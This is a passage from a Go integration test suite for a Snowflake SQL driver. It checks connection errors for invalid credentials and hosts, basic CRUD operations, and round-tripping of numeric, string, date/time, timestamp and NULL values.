ct.DecimalSize()\n\tif !ok {\n\t\tdbt.Fatalf(\"failed to get decimal size. %v\", ct)\n\t}\n\treturn pr, sc\n}\n\nfunc (dbt *DBTest) mustFailDecimalSize(ct *sql.ColumnType) {\n\tvar ok bool\n\tif _, _, ok = ct.DecimalSize(); ok {\n\t\tdbt.Fatalf(\"should not return decimal size. %v\", ct)\n\t}\n}\n\nfunc (dbt *DBTest) mustLength(ct *sql.ColumnType) (cLen int64) {\n\tvar ok bool\n\tcLen, ok = ct.Length()\n\tif !ok {\n\t\tdbt.Fatalf(\"failed to get length. %v\", ct)\n\t}\n\treturn cLen\n}\n\nfunc (dbt *DBTest) mustFailLength(ct *sql.ColumnType) {\n\tvar ok bool\n\tif _, ok = ct.Length(); ok {\n\t\tdbt.Fatalf(\"should not return length. %v\", ct)\n\t}\n}\n\nfunc (dbt *DBTest) mustNullable(ct *sql.ColumnType) (canNull bool) {\n\tvar ok bool\n\tcanNull, ok = ct.Nullable()\n\tif !ok {\n\t\tdbt.Fatalf(\"failed to get length. %v\", ct)\n\t}\n\treturn canNull\n}\n\nfunc (dbt *DBTest) mustPrepare(query string) (stmt *sql.Stmt) {\n\tstmt, err := dbt.db.Prepare(query)\n\tif err != nil {\n\t\tdbt.fail(\"prepare\", query, err)\n\t}\n\treturn stmt\n}\n\nfunc runTests(t *testing.T, dsn string, tests ...func(dbt *DBTest)) {\n\tdb, err := sql.Open(\"snowflake\", dsn)\n\tif err != nil {\n\t\tt.Fatalf(\"error connecting: %s\", err.Error())\n\t}\n\tdefer db.Close()\n\n\tif _, err = db.Exec(\"DROP TABLE IF EXISTS test\"); err != nil {\n\t\tt.Fatalf(\"failed to drop table: %v\", err)\n\t}\n\n\tdbt := &DBTest{t, db}\n\tfor _, test := range tests {\n\t\ttest(dbt)\n\t\tdbt.db.Exec(\"DROP TABLE IF EXISTS test\")\n\t}\n}\n\nfunc runningOnAWS() bool {\n\treturn os.Getenv(\"CLOUD_PROVIDER\") == \"AWS\"\n}\n\nfunc TestBogusUserPasswordParameters(t *testing.T) {\n\tinvalidDNS := fmt.Sprintf(\"%s:%s@%s\", \"bogus\", pass, host)\n\tinvalidUserPassErrorTests(invalidDNS, t)\n\tinvalidDNS = fmt.Sprintf(\"%s:%s@%s\", username, \"INVALID_PASSWORD\", host)\n\tinvalidUserPassErrorTests(invalidDNS, t)\n}\n\nfunc invalidUserPassErrorTests(invalidDNS string, t *testing.T) {\n\tparameters := url.Values{}\n\tif protocol != \"\" {\n\t\tparameters.Add(\"protocol\", protocol)\n\t}\n\tif account != \"\" {\n\t\tparameters.Add(\"account\", account)\n\t}\n\tinvalidDNS += \"?\" + parameters.Encode()\n\tdb, err := sql.Open(\"snowflake\", invalidDNS)\n\tif err != nil {\n\t\tt.Fatalf(\"error creating a connection object: %s\", err.Error())\n\t}\n\t// actual connection won't happen until run a query\n\tdefer db.Close()\n\tif _, err = db.Exec(\"SELECT 1\"); err == nil {\n\t\tt.Fatal(\"should cause an error.\")\n\t}\n\tif driverErr, ok := err.(*SnowflakeError); ok {\n\t\tif driverErr.Number != 390100 {\n\t\t\tt.Fatalf(\"wrong error code: %v\", driverErr)\n\t\t}\n\t\tif !strings.Contains(driverErr.Error(), \"390100\") {\n\t\t\tt.Fatalf(\"error message should included the error code. got: %v\", driverErr.Error())\n\t\t}\n\t} else {\n\t\tt.Fatalf(\"wrong error code: %v\", err)\n\t}\n}\n\nfunc TestBogusHostNameParameters(t *testing.T) {\n\tinvalidDNS := fmt.Sprintf(\"%s:%s@%s\", username, pass, \"INVALID_HOST:1234\")\n\tinvalidHostErrorTests(invalidDNS, []string{\"no such host\", \"verify account name is correct\", \"HTTP Status: 403\", \"Temporary failure in name resolution\"}, t)\n\tinvalidDNS = fmt.Sprintf(\"%s:%s@%s\", username, pass, \"INVALID_HOST\")\n\tinvalidHostErrorTests(invalidDNS, []string{\"read: connection reset by peer\", \"EOF\", \"verify account name is correct\", \"HTTP Status: 403\", \"Temporary failure in name resolution\"}, t)\n}\n\nfunc invalidHostErrorTests(invalidDNS string, mstr []string, t *testing.T) {\n\tparameters := url.Values{}\n\tif protocol != \"\" {\n\t\tparameters.Add(\"protocol\", protocol)\n\t}\n\tif account != \"\" {\n\t\tparameters.Add(\"account\", account)\n\t}\n\tparameters.Add(\"loginTimeout\", \"10\")\n\tinvalidDNS += \"?\" + parameters.Encode()\n\tdb, err := sql.Open(\"snowflake\", invalidDNS)\n\tif err != nil {\n\t\tt.Fatalf(\"error creating a connection object: %s\", err.Error())\n\t}\n\t// actual connection won't happen until run a query\n\tdefer db.Close()\n\tif _, err = db.Exec(\"SELECT 1\"); err == nil {\n\t\tt.Fatal(\"should cause an error.\")\n\t}\n\tfound := false\n\tfor _, m := range mstr {\n\t\tif strings.Contains(err.Error(), m) {\n\t\t\tfound = true\n\t\t}\n\t}\n\tif !found {\n\t\tt.Fatalf(\"wrong error: %v\", err)\n\t}\n}\n\nfunc TestCommentOnlyQuery(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tquery := \"--\"\n\t\t// just a comment, no query\n\t\trows, err := dbt.db.Query(query)\n\t\tif err == nil {\n\t\t\trows.Close()\n\t\t\tdbt.fail(\"query\", query, err)\n\t\t}\n\t\tif driverErr, ok := err.(*SnowflakeError); ok {\n\t\t\tif driverErr.Number != 900 { // syntax error\n\t\t\t\tdbt.fail(\"query\", query, err)\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc TestEmptyQuery(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tquery := \"select 1 from dual where 1=0\"\n\t\t// just a comment, no query\n\t\trows := dbt.db.QueryRow(query)\n\t\tvar v1 interface{}\n\t\tif err := rows.Scan(&v1); err != sql.ErrNoRows {\n\t\t\tdbt.Errorf(\"should fail. err: %v\", err)\n\t\t}\n\t\trows = dbt.db.QueryRowContext(context.Background(), query)\n\t\tif err := rows.Scan(&v1); err != sql.ErrNoRows {\n\t\t\tdbt.Errorf(\"should fail. err: %v\", err)\n\t\t}\n\t})\n}\n\nfunc TestEmptyQueryWithRequestID(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tquery := \"select 1\"\n\t\tctx := WithRequestID(context.Background(), newUUID())\n\t\trows := dbt.db.QueryRowContext(ctx, query)\n\t\tvar v1 interface{}\n\t\tif err := rows.Scan(&v1); err != nil {\n\t\t\tdbt.Errorf(\"should not have failed with valid request id. err: %v\", err)\n\t\t}\n\t})\n}\n\nfunc TestCRUD(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\t// Create Table\n\t\tdbt.mustExec(\"CREATE TABLE test (value BOOLEAN)\")\n\n\t\t// Test for unexpected Data\n\t\tvar out bool\n\t\trows := dbt.mustQuery(\"SELECT * FROM test\")\n\t\tdefer rows.Close()\n\t\tif rows.Next() {\n\t\t\tdbt.Error(\"unexpected Data in empty table\")\n\t\t}\n\n\t\t// Create Data\n\t\tres := dbt.mustExec(\"INSERT INTO test VALUES (true)\")\n\t\tcount, err := res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 1 {\n\t\t\tdbt.Fatalf(\"expected 1 affected row, got %d\", count)\n\t\t}\n\n\t\tid, err := res.LastInsertId()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.LastInsertId() returned error: %s\", err.Error())\n\t\t}\n\t\tif id != -1 {\n\t\t\tdbt.Fatalf(\n\t\t\t\t\"expected InsertId -1, got %d. Snowflake doesn't support last insert ID\", id)\n\t\t}\n\n\t\t// Read\n\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\tdefer rows.Close()\n\t\tif rows.Next() {\n\t\t\trows.Scan(&out)\n\t\t\tif !out {\n\t\t\t\tdbt.Errorf(\"%t should be true\", out)\n\t\t\t}\n\t\t\tif rows.Next() {\n\t\t\t\tdbt.Error(\"unexpected Data\")\n\t\t\t}\n\t\t} else {\n\t\t\tdbt.Error(\"no Data\")\n\t\t}\n\n\t\t// Update\n\t\tres = dbt.mustExec(\"UPDATE test SET value = ? WHERE value = ?\", false, true)\n\t\tcount, err = res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 1 {\n\t\t\tdbt.Fatalf(\"expected 1 affected row, got %d\", count)\n\t\t}\n\n\t\t// Check Update\n\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\tdefer rows.Close()\n\t\tif rows.Next() {\n\t\t\trows.Scan(&out)\n\t\t\tif out {\n\t\t\t\tdbt.Errorf(\"%t should be true\", out)\n\t\t\t}\n\t\t\tif rows.Next() {\n\t\t\t\tdbt.Error(\"unexpected Data\")\n\t\t\t}\n\t\t} else {\n\t\t\tdbt.Error(\"no Data\")\n\t\t}\n\n\t\t// Delete\n\t\tres = dbt.mustExec(\"DELETE FROM test WHERE value = ?\", false)\n\t\tcount, err = res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 1 {\n\t\t\tdbt.Fatalf(\"expected 1 affected row, got %d\", count)\n\t\t}\n\n\t\t// Check for unexpected rows\n\t\tres = dbt.mustExec(\"DELETE FROM test\")\n\t\tcount, err = res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 0 {\n\t\t\tdbt.Fatalf(\"expected 0 affected row, got %d\", count)\n\t\t}\n\t})\n}\n\nfunc TestInt(t *testing.T) {\n\ttestInt(t, false)\n}\n\nfunc testInt(t *testing.T, json bool) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\ttypes := []string{\"INT\", \"INTEGER\"}\n\t\tin := int64(42)\n\t\tvar out int64\n\t\tvar rows *RowsExtended\n\n\t\t// SIGNED\n\t\tfor _, v := range types {\n\t\t\tif json {\n\t\t\t\tdbt.mustExec(forceJSON)\n\t\t\t}\n\t\t\tdbt.mustExec(\"CREATE TABLE test (value \" + v + \")\")\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (?)\", in)\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\t\tdefer rows.Close()\n\t\t\tif rows.Next() {\n\t\t\t\trows.Scan(&out)\n\t\t\t\tif in != out {\n\t\t\t\t\tdbt.Errorf(\"%s: %d != %d\", v, in, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s: no data\", v)\n\t\t\t}\n\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\t})\n}\n\nfunc TestFloat32(t *testing.T) {\n\ttestFloat32(t, false)\n}\n\nfunc testFloat32(t *testing.T, json bool) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\ttypes := [2]string{\"FLOAT\", \"DOUBLE\"}\n\t\tin := float32(42.23)\n\t\tvar out float32\n\t\tvar rows *RowsExtended\n\t\tfor _, v := range types {\n\t\t\tif json {\n\t\t\t\tdbt.mustExec(forceJSON)\n\t\t\t}\n\t\t\tdbt.mustExec(\"CREATE TABLE test (value \" + v + \")\")\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (?)\", in)\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\t\tdefer rows.Close()\n\t\t\tif rows.Next() {\n\t\t\t\terr := rows.Scan(&out)\n\t\t\t\tif err != nil {\n\t\t\t\t\tdbt.Errorf(\"failed to scan data: %v\", err)\n\t\t\t\t}\n\t\t\t\tif in != out {\n\t\t\t\t\tdbt.Errorf(\"%s: %g != %g\", v, in, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s: no data\", v)\n\t\t\t}\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\t})\n}\n\nfunc TestFloat64(t *testing.T) {\n\ttestFloat64(t, false)\n}\n\nfunc testFloat64(t *testing.T, json bool) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\ttypes := [2]string{\"FLOAT\", \"DOUBLE\"}\n\t\texpected := 42.23\n\t\tvar out float64\n\t\tvar rows *RowsExtended\n\t\tfor _, v := range types {\n\t\t\tif json {\n\t\t\t\tdbt.mustExec(forceJSON)\n\t\t\t}\n\t\t\tdbt.mustExec(\"CREATE TABLE test (value \" + v + \")\")\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (42.23)\")\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\t\tdefer rows.Close()\n\t\t\tif rows.Next() {\n\t\t\t\trows.Scan(&out)\n\t\t\t\tif expected != out {\n\t\t\t\t\tdbt.Errorf(\"%s: %g != %g\", v, expected, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s: no data\", v)\n\t\t\t}\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\t})\n}\n\nfunc TestString(t *testing.T) {\n\ttestString(t, false)\n}\n\nfunc testString(t *testing.T, json bool) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tif json {\n\t\t\tdbt.mustExec(forceJSON)\n\t\t}\n\t\ttypes := []string{\"CHAR(255)\", \"VARCHAR(255)\", \"TEXT\", \"STRING\"}\n\t\tin := \"κόσμε üöäßñóùéàâÿœ'îë Árvíztűrő いろはにほへとちりぬるを イロハニホヘト דג סקרן чащах น่าฟังเอย\"\n\t\tvar out string\n\t\tvar rows *RowsExtended\n\n\t\tfor _, v := range types {\n\t\t\tdbt.mustExec(\"CREATE TABLE test (value \" + v + \")\")\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (?)\", in)\n\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\t\tdefer rows.Close()\n\t\t\tif rows.Next() {\n\t\t\t\trows.Scan(&out)\n\t\t\t\tif in != out {\n\t\t\t\t\tdbt.Errorf(\"%s: %s != %s\", v, in, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s: no data\", v)\n\t\t\t}\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\n\t\t// BLOB (Snowflake doesn't support BLOB type but STRING covers large text data)\n\t\tdbt.mustExec(\"CREATE TABLE test (id int, value STRING)\")\n\n\t\tid := 2\n\t\tin = `Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam\n\t\t\tnonumy eirmod tempor invidunt ut labore et dolore magna aliquyam\n\t\t\terat, sed diam voluptua. At vero eos et accusam et justo duo\n\t\t\tdolores et ea rebum. Stet clita kasd gubergren, no sea takimata\n\t\t\tsanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet,\n\t\t\tconsetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt\n\t\t\tut labore et dolore magna aliquyam erat, sed diam voluptua. At vero\n\t\t\teos et accusam et justo duo dolores et ea rebum. Stet clita kasd\n\t\t\tgubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.`\n\t\tdbt.mustExec(\"INSERT INTO test VALUES (?, ?)\", id, in)\n\n\t\tif err := dbt.db.QueryRow(\"SELECT value FROM test WHERE id = ?\", id).Scan(&out); err != nil {\n\t\t\tdbt.Fatalf(\"Error on BLOB-Query: %s\", err.Error())\n\t\t} else if out != in {\n\t\t\tdbt.Errorf(\"BLOB: %s != %s\", in, out)\n\t\t}\n\t})\n}\n\ntype tcDateTimeTimestamp struct {\n\tdbtype string\n\ttlayout string\n\ttests []timeTest\n}\n\ntype timeTest struct {\n\ts string // source date time string\n\tt time.Time // expected fetched data\n}\n\nfunc (tt timeTest) genQuery() string {\n\treturn \"SELECT '%s'::%s\"\n}\n\nfunc (tt timeTest) run(t *testing.T, dbt *DBTest, dbtype, tlayout string) {\n\tvar rows *RowsExtended\n\tquery := fmt.Sprintf(tt.genQuery(), tt.s, dbtype)\n\trows = dbt.mustQuery(query)\n\tdefer rows.Close()\n\tvar err error\n\tif !rows.Next() {\n\t\terr = rows.Err()\n\t\tif err == nil {\n\t\t\terr = fmt.Errorf(\"no data\")\n\t\t}\n\t\tdbt.Errorf(\"%s: %s\", dbtype, err)\n\t\treturn\n\t}\n\n\tvar dst interface{}\n\tif err = rows.Scan(&dst); err != nil {\n\t\tdbt.Errorf(\"%s: %s\", dbtype, err)\n\t\treturn\n\t}\n\tswitch val := dst.(type) {\n\tcase []uint8:\n\t\tstr := string(val)\n\t\tif str == tt.s {\n\t\t\treturn\n\t\t}\n\t\tdbt.Errorf(\"%s to string: expected %q, got %q\",\n\t\t\tdbtype,\n\t\t\ttt.s,\n\t\t\tstr,\n\t\t)\n\tcase time.Time:\n\t\tif val.UnixNano() == tt.t.UnixNano() {\n\t\t\treturn\n\t\t}\n\t\tt.Logf(\"source:%v, expected: %v, got:%v\", tt.s, tt.t, val)\n\t\tdbt.Errorf(\"%s to string: expected %q, got %q\",\n\t\t\tdbtype,\n\t\t\ttt.s,\n\t\t\tval.Format(tlayout),\n\t\t)\n\tdefault:\n\t\tdbt.Errorf(\"%s: unhandled type %T (is '%v')\",\n\t\t\tdbtype, val, val,\n\t\t)\n\t}\n}\n\nfunc TestSimpleDateTimeTimestampFetch(t *testing.T) {\n\ttestSimpleDateTimeTimestampFetch(t, false)\n}\n\nfunc testSimpleDateTimeTimestampFetch(t *testing.T, json bool) {\n\tvar scan = func(rows *RowsExtended, cd interface{}, ct interface{}, cts interface{}) {\n\t\tif err := rows.Scan(cd, ct, cts); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}\n\tvar fetchTypes = []func(*RowsExtended){\n\t\tfunc(rows *RowsExtended) {\n\t\t\tvar cd, ct, cts time.Time\n\t\t\tscan(rows, &cd, &ct, &cts)\n\t\t},\n\t\tfunc(rows *RowsExtended) {\n\t\t\tvar cd, ct, cts time.Time\n\t\t\tscan(rows, &cd, &ct, &cts)\n\t\t},\n\t}\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tif json {\n\t\t\tdbt.mustExec(forceJSON)\n\t\t}\n\t\tfor _, f := range fetchTypes {\n\t\t\trows := dbt.mustQuery(\"SELECT CURRENT_DATE(), CURRENT_TIME(), CURRENT_TIMESTAMP()\")\n\t\t\tdefer rows.Close()\n\t\t\tif rows.Next() {\n\t\t\t\tf(rows)\n\t\t\t} else {\n\t\t\t\tt.Fatal(\"no results\")\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc TestDateTime(t *testing.T) {\n\ttestDateTime(t, false)\n}\n\nfunc testDateTime(t *testing.T, json bool) {\n\tafterTime := func(t time.Time, d string) time.Time {\n\t\tdur, err := time.ParseDuration(d)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\treturn t.Add(dur)\n\t}\n\tt0 := time.Time{}\n\ttstr0 := \"0000-00-00 00:00:00.000000000\"\n\ttestcases := []tcDateTimeTimestamp{\n\t\t{\"DATE\", format[:10], []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 0, 0, 0, 0, time.UTC)},\n\t\t\t{t: time.Date(2, 8, 2, 0, 0, 0, 0, time.UTC), s: \"0002-08-02\"},\n\t\t}},\n\t\t{\"TIME\", format[11:19], []timeTest{\n\t\t\t{t: afterTime(t0, \"12345s\")},\n\t\t\t{t: t0, s: tstr0[11:19]},\n\t\t}},\n\t\t{\"TIME(0)\", format[11:19], []timeTest{\n\t\t\t{t: afterTime(t0, \"12345s\")},\n\t\t\t{t: t0, s: tstr0[11:19]},\n\t\t}},\n\t\t{\"TIME(1)\", format[11:21], []timeTest{\n\t\t\t{t: afterTime(t0, \"12345600ms\")},\n\t\t\t{t: t0, s: tstr0[11:21]},\n\t\t}},\n\t\t{\"TIME(6)\", format[11:], []timeTest{\n\t\t\t{t: t0, s: tstr0[11:]},\n\t\t}},\n\t\t{\"DATETIME\", format[:19], []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 21, 27, 37, 0, time.UTC)},\n\t\t}},\n\t\t{\"DATETIME(0)\", format[:21], []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 21, 27, 37, 0, time.UTC)},\n\t\t}},\n\t\t{\"DATETIME(1)\", format[:21], []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 21, 27, 37, 100000000, time.UTC)},\n\t\t}},\n\t\t{\"DATETIME(6)\", format, []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 21, 27, 37, 123456000, time.UTC)},\n\t\t}},\n\t\t{\"DATETIME(9)\", format, []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 21, 27, 37, 123456789, time.UTC)},\n\t\t}},\n\t}\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tif json {\n\t\t\tdbt.mustExec(forceJSON)\n\t\t}\n\t\tfor _, setups := range testcases {\n\t\t\tfor _, setup := range setups.tests {\n\t\t\t\tif setup.s == \"\" {\n\t\t\t\t\t// fill time string wherever Go can reliable produce it\n\t\t\t\t\tsetup.s = setup.t.Format(setups.tlayout)\n\t\t\t\t}\n\t\t\t\tsetup.run(t, dbt, setups.dbtype, setups.tlayout)\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc TestTimestampLTZ(t *testing.T) {\n\ttestTimestampLTZ(t, false)\n}\n\nfunc testTimestampLTZ(t *testing.T, json bool) {\n\t// Set session time zone in Los Angeles, same as machine\n\tcreateDSN(PSTLocation)\n\tlocation, err := time.LoadLocation(PSTLocation)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\ttestcases := []tcDateTimeTimestamp{\n\t\t{\n\t\t\tdbtype: \"TIMESTAMP_LTZ(9)\",\n\t\t\ttlayout: format,\n\t\t\ttests: []timeTest{\n\t\t\t\t{\n\t\t\t\t\ts: \"2016-12-30 05:02:03\",\n\t\t\t\t\tt: time.Date(2016, 12, 30, 5, 2, 3, 0, location),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\ts: \"2016-12-30 05:02:03 -00:00\",\n\t\t\t\t\tt: time.Date(2016, 12, 30, 5, 2, 3, 0, time.UTC),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\ts: \"2017-05-12 00:51:42\",\n\t\t\t\t\tt: time.Date(2017, 5, 12, 0, 51, 42, 0, location),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\ts: \"2017-03-12 01:00:00\",\n\t\t\t\t\tt: time.Date(2017, 3, 12, 1, 0, 0, 0, location),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\ts: \"2017-03-13 04:00:00\",\n\t\t\t\t\tt: time.Date(2017, 3, 13, 4, 0, 0, 0, location),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\ts: \"2017-03-13 04:00:00.123456789\",\n\t\t\t\t\tt: time.Date(2017, 3, 13, 4, 0, 0, 123456789, location),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdbtype: \"TIMESTAMP_LTZ(8)\",\n\t\t\ttlayout: format,\n\t\t\ttests: []timeTest{\n\t\t\t\t{\n\t\t\t\t\ts: \"2017-03-13 04:00:00.123456789\",\n\t\t\t\t\tt: time.Date(2017, 3, 13, 4, 0, 0, 123456780, location),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tif json {\n\t\t\tdbt.mustExec(forceJSON)\n\t\t}\n\t\tfor _, setups := range testcases {\n\t\t\tfor _, setup := range setups.tests {\n\t\t\t\tif setup.s == \"\" {\n\t\t\t\t\t// fill time string wherever Go can reliable produce it\n\t\t\t\t\tsetup.s = setup.t.Format(setups.tlayout)\n\t\t\t\t}\n\t\t\t\tsetup.run(t, dbt, setups.dbtype, setups.tlayout)\n\t\t\t}\n\t\t}\n\t})\n\t// Revert timezone to UTC, which is default for the test suit\n\tcreateDSN(\"UTC\")\n}\n\nfunc TestTimestampTZ(t *testing.T) {\n\ttestTimestampTZ(t, false)\n}\n\nfunc testTimestampTZ(t *testing.T, json bool) {\n\tsflo := func(offsets string) (loc *time.Location) {\n\t\tr, err := LocationWithOffsetString(offsets)\n\t\tif err != nil {\n\t\t\treturn time.UTC\n\t\t}\n\t\treturn r\n\t}\n\ttestcases := []tcDateTimeTimestamp{\n\t\t{\n\t\t\tdbtype: \"TIMESTAMP_TZ(9)\",\n\t\t\ttlayout: format,\n\t\t\ttests: []timeTest{\n\t\t\t\t{\n\t\t\t\t\ts: \"2016-12-30 05:02:03 +07:00\",\n\t\t\t\t\tt: time.Date(2016, 12, 30, 5, 2, 3, 0,\n\t\t\t\t\t\tsflo(\"+0700\")),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\ts: \"2017-05-23 03:56:41 -09:00\",\n\t\t\t\t\tt: time.Date(2017, 5, 23, 3, 56, 41, 0,\n\t\t\t\t\t\tsflo(\"-0900\")),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tif json {\n\t\t\tdbt.mustExec(forceJSON)\n\t\t}\n\t\tfor _, setups := range testcases {\n\t\t\tfor _, setup := range setups.tests {\n\t\t\t\tif setup.s == \"\" {\n\t\t\t\t\t// fill time string wherever Go can reliable produce it\n\t\t\t\t\tsetup.s = setup.t.Format(setups.tlayout)\n\t\t\t\t}\n\t\t\t\tsetup.run(t, dbt, setups.dbtype, setups.tlayout)\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc TestNULL(t *testing.T) {\n\ttestNULL(t, false)\n}\n\nfunc testNULL(t *testing.T, json bool) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tif json {\n\t\t\tdbt.mustExec(forceJSON)\n\t\t}\n\t\tnullStmt, err := dbt.db.Prepare(\"SELECT NULL\")\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer nullStmt.Close()\n\n\t\tnonNullStmt, err := dbt.db.Prepare(\"SELECT 1\")\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer nonNullStmt.Close()\n\n\t\t// NullBool\n\t\tvar nb sql.NullBool\n\t\t// Invalid\n\t\tif err = nullStmt.QueryRow().Scan(&nb); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif nb.Valid {\n\t\t\tdbt.Error(\"valid NullBool which should be invalid\")\n\t\t}\n\t\t// Valid\n\t\tif err = nonNullStmt.QueryRow().Scan(&nb); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !nb.Valid {\n\t\t\tdbt.Error(\"invalid NullBool which should be valid\")\n\t\t} else if !nb.Bool {\n\t\t\tdbt.Errorf(\"Unexpected NullBool value: %t (should be true)\", nb.Bool)\n\t\t}\n\n\t\t// NullFloat64\n\t\tvar nf sql.NullFloat64\n\t\t// Invalid\n\t\tif err = nullStmt.QueryRow().Scan(&nf); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif nf.Valid {\n\t\t\tdbt.Error(\"valid NullFloat64 which should be invalid\")\n\t\t}\n\t\t// Valid\n\t\tif err = nonNullStmt.QueryRow().Scan(&nf); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !nf.Valid {\n\t\t\tdbt.Error(\"invalid NullFloat64 which should be valid\")\n\t\t} else if nf.Float64 != float64(1) {\n\t\t\tdbt.Errorf(\"unexpected NullFloat64 value: %f (should be 1.0)\", nf.Float64)\n\t\t}\n\n\t\t// NullInt64\n\t\tvar ni sql.NullInt64\n\t\t// Invalid\n\t\tif err = nullStmt.QueryRow().Scan(&ni); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif ni.Valid {\n\t\t\tdbt.Error(\"valid NullInt64 which should be invalid\")\n\t\t}\n\t\t// Valid\n\t\tif err = nonNullStmt.QueryRow().Scan(&ni); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !ni.Valid {\n\t\t\tdbt.Error(\"invalid NullInt64 which should be valid\")\n\t\t} else if ni.Int64 != int64(1) {\n\t\t\tdbt.Errorf(\"unexpected NullInt64 value: %d (should be 1)\", ni.Int64)\n\t\t}\n\n\t\t// NullString\n\t\tvar ns sql.NullString\n\t\t// Invalid\n\t\tif err = nullStmt.QueryRow().Scan(&ns); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif ns.Valid {\n\t\t\tdbt.Error(\"valid NullString which should be invalid\")\n\t\t}\n\t\t// Valid\n\t\tif err = nonNullStmt.QueryRow().Scan(&ns); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !ns.Valid {\n\t\t\tdbt.Error(\"invalid NullString which should be valid\")\n\t\t} else if ns.String != `1` {\n\t\t\tdbt.Error(\"unexpected NullString value:\" + ns.String + \" (should be `1`)\")\n\t\t}\n\n\t\t// nil-bytes\n\t\tvar b []byte\n\t\t// Read nil\n\t\tif err = nullStmt.QueryRow().Scan(&b); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif b != nil {\n\t\t\tdbt.Error(\"non-nil []byte which should be nil\")\n\t\t}\n\t\t// Read non-nil\n\t\tif err = nonNullStmt.QueryRow().Scan(&b); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif b == nil {\n\t\t\tdbt.Error(\"nil []byte which should be non-nil\")\n\t\t}\n\t\t// Insert nil\n\t\tb = nil\n\t\tsuccess := false\n\t\tif err = dbt.db.QueryRow(\"SELECT ? IS NULL\", b).Scan(&success); err != nil 